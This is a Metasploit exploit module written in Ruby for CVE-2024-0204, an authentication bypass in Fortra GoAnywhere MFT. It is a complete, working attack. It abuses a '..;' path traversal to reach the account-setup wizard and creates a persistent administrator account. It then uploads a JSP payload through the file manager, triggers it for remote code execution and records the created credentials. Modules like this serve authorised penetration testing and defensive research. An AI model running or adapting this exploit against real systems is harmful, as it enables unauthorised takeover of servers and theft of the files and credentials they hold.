Fortra GoAnywhere MFT Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
          create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
          MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF RCE Exploit
          'James Horseman', # Original auth bypass PoC/Analysis
          'Zach Hanley' # Original auth bypass PoC/Analysis
        ],
        'References' => [
          ['CVE', '2024-0204'],
          ['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory
          ['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']
        ],
        'DisclosureDate' => '2024-01-22',
        'Platform' => %w[linux win],
        'Arch' => [ARCH_JAVA],
        'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.
        'Targets' => [
          [
            # Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp
            'Automatic', {}
          ],
          [
            'Linux',
            {
              'Platform' => 'linux',
              'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'
            }
          ],
          [
            'Windows',
            {
              'Platform' => 'win',
              'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'
            },
          ],
        ],
        'DefaultOptions' => {
          'RPORT' => 8001,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            # A new admin account is created, which the exploit can't destroy.
            CONFIG_CHANGES,
            # The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),
      ]
    )
  end

  def check
    # We can query an undocumented unauthenticated REST API endpoint and pull the version number.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    json_data = res.get_json_document

    product = json_data.dig('data', 'product')

    version = json_data.dig('data', 'version')

    return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?

    # As per the Fortra advisory, the following version are affected:
    # * Fortra GoAnywhere MFT 6.x from 6.0.1
    # * Fortra GoAnywhere MFT 7.x before 7.4.1
    # This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.
    if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))
      return CheckCode::Appears("#{product} #{version}")
    end

    Exploit::CheckCode::Safe("#{product} #{version}")
  end

  def exploit
    # CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So
    # we generate the username/password pair we want to use.
    # Note: We cannot delete the administrator account that we create.
    admin_username = Rex::Text.rand_text_alpha_lower(8)
    admin_password = Rex::Text.rand_text_alphanumeric(16)

    # By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to
    # the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double
    # dot path segment, we need a directory to navigate down from, there are many available on the target so we pick
    # a random one that we know works.
    path_segments = %w[styles fonts auth help]

    path_segment = path_segments.sample

    # This is CVE-2024-0204...
    initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),
        'j_id_u:creteAdminGrid:username' => admin_username,
        'j_id_u:creteAdminGrid:password' => admin_password,
        'j_id_u:creteAdminGrid:password_hinput' => admin_password,
        'j_id_u:creteAdminGrid:confirmPassword' => admin_password,
        'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,
        'j_id_u:creteAdminGrid:submitButton' => '',
        'createAdminForm_SUBMIT' => 1
      }
    )

    # The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method
    # loginNewAdminUser and update our current session, so we dont need to manually login.
    unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')
      fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")
    end

    print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")

    store_credentials(admin_username, admin_password)

    # Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.
    if target.name == 'Automatic'
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),
        'keep_cookies' => true
      )

      unless res&.code == 200
        fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')
      end

      # The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using
      # the Java system property "os.name".
      os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})
      unless os_match
        fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')
      end

      # To perform the JSP payload upload, we need to know the product installation path.
      install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})
      unless install_match
        fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')
      end

      # Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.
      found_target = targets.find do |t|
        os_match[1].downcase.include? t.name.downcase
      end

      unless found_target
        fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")
      end

      # Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.
      detected_target = found_target.dup

      detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]

      print_status("Automatic targeting, detected OS: #{detected_target.name}")
      print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")
    else
      detected_target = target
    end

    # We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then
    # change to the directory we want to upload to, then upload the file.

    path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'

    # We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp
    adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']
    adminroot_path += path_separator unless adminroot_path.end_with? path_separator
    adminroot_path += 'adminroot'
    adminroot_path += path_separator

    viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => viewstate,
        'j_id_4u:j_id_4v:newPath_focus' => '',
        'j_id_4u:j_id_4v:newPath_input' => '/',
        'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,
        'j_id_4u:j_id_4v:NewPathButton' => '',
        'j_id_4u_SUBMIT' => 1
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')
    end

    # We require a regID value form the page to upload a file, so we pull that out here.
    vs_input = res.get_html_document.at('input[name="reqId"]')

    unless vs_input&.key? 'value'
      fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')
    end

    request_id = vs_input['value']

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => viewstate,
        'javax.faces.partial.ajax' => 'true',
        'javax.faces.source' => 'uploadID',
        'javax.faces.partial.execute' => 'uploadID',
        'javax.faces.partial.render' => '@none',
        'uploadID' => 'uploadID',
        'uploadID_sessionCheck' => 'true',
        'reqId' => request_id,
        'whenFileExists_focus' => '',
        'whenFileExists_input' => 'rename',
        'uploaderType' => 'filemanager',
        'j_id_4i_SUBMIT' =>	1
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')
    end

    jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'

    message = Rex::MIME::Message.new

    message.add_part(request_id, nil, nil, 'form-data; name="reqId"')
    message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')
    message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')
    message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')
    message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')
    message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')
    message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')
    message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')
    message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')
    message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')
    message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")

    # We can now upload our payload...
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'ctype' => 'multipart/form-data; boundary=' + message.bound,
      'data' => message.to_s
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')
    end

    # Register our payload so it is deleted when the session is created.

    jsp_filepath = adminroot_path + jsp_filename

    print_status("Dropped payload: #{jsp_filepath}")

    # We are using the FileDropper mixin to automatically delete this file after a session has been created.
    register_file_for_cleanup(jsp_filepath)

    # A copy of the files this user uploads is left here:
    # /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp
    # We register these to be deleted, but they appear to be locked, preventing deleting.
    userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']
    userdoc_path += path_separator unless userdoc_path.end_with? path_separator
    userdoc_path += 'userdata'
    userdoc_path += path_separator
    userdoc_path += 'documents'
    userdoc_path += path_separator
    userdoc_path += admin_username
    userdoc_path += path_separator

    register_file_for_cleanup(userdoc_path + jsp_filename)

    register_dir_for_cleanup(userdoc_path)

    # Finally, trigger our payload via a GET request...
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, jsp_filename)
    )

    # NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web
    # interface or REST API.
  end

  # Helper method to pull out a viewstate identifier from a requests HTML response.
  def get_viewstate(endpoint)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, endpoint),
      'keep_cookies' => true
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")
    end

    vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')

    unless vs_input&.key? 'value'
      fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")
    end

    vs_input['value']
  end

  def store_credentials(username, password)
    service_data = {
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      service_name: 'GoAnywhere MFT Admin Interface',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: username,
      private_data: password,
      private_type: :password
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    }.merge(service_data)

    create_credential_login(login_data)
  end
end